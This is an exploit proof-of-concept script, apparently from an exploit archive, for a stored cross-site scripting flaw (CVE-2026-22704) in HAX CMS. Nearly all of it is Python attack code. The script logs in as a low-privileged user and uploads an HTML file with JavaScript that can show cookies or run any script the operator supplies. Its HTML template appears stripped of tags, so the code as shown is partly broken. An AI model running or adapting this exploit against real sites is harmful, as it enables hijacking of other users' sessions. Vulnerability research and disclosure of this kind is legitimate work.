# Exploit Title: HAX CMS 24.x - Stored Cross-Site Scripting (XSS) # Date: 2026-01-28 # Google Dork: "N/A" # Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Vendor Homepage: https://www.drupal.org/project/hax # Software Link: https://github.com/elmsln/haxcms # Version: <= 24.x (tested) # Tested on: Linux # CVE: CVE-2026-22704 # # Description: # HAX CMS allows low-privileged authenticated users to upload HTML files # without proper content sanitization. Uploaded HTML files are rendered # directly by the application, leading to a Stored Cross-Site Scripting (XSS) # vulnerability when accessed by other users. # # # Usage: # python3 haxcms_stored_xss.py --target http://TARGET --user USER --password PASS # import argparse import requests from urllib.parse import urljoin def create_poc_html(payload_type="alert"): """ Generate HTML PoC file. Payload types: - alert : simple JS alert (default) - cookie : cookie access demonstration - custom : user supplied JavaScript """ if payload_type == "cookie": js_payload = """ alert("PoC: document.cookie = " + document.cookie); """ elif payload_type == "alert": js_payload = """ alert("Stored XSS PoC - CVE-2026-22704"); """ else: js_payload = payload_type return f""" PoC

HAX CMS Stored XSS PoC

""" def upload_file(target, username, password, filename, content): session = requests.Session() login_url = urljoin(target, "/user/login") login_data = { "name": username, "pass": password, "form_id": "user_login_form", "op": "Log in" } print("[*] Logging in...") r = session.post(login_url, data=login_data, allow_redirects=True) if "log out" not in r.text.lower(): print("[!] Login failed") return False print("[+] Login successful") upload_url = urljoin(target, "/files/upload") files = { "files[upload]": (filename, content.encode(), "text/html") } print("[*] Uploading HTML file...") r = session.post(upload_url, files=files) if r.status_code not in (200, 201, 302): print("[!] Upload failed") return False file_url = urljoin(target, f"/sites/default/files/{filename}") print("[+] File uploaded successfully") print("[+] PoC URL:") print(file_url) return True def main(): parser = argparse.ArgumentParser(description="HAX CMS Stored XSS PoC (CVE-2026-22704)") parser.add_argument("--target", required=True, help="Target base URL") parser.add_argument("--user", required=True, help="Low privilege username") parser.add_argument("--password", required=True, help="Password") parser.add_argument("--payload", default="alert", choices=["alert", "cookie", "custom"], help="PoC payload type") parser.add_argument("--filename", default="poc.html", help="Uploaded file name") args = parser.parse_args() if args.payload == "custom": js = input("[?] Enter custom JavaScript payload:\n> ") html = create_poc_html(js) else: html = create_poc_html(args.payload) upload_file( args.target.rstrip("/"), args.user, args.password, args.filename, html ) if __name__ == "__main__": main()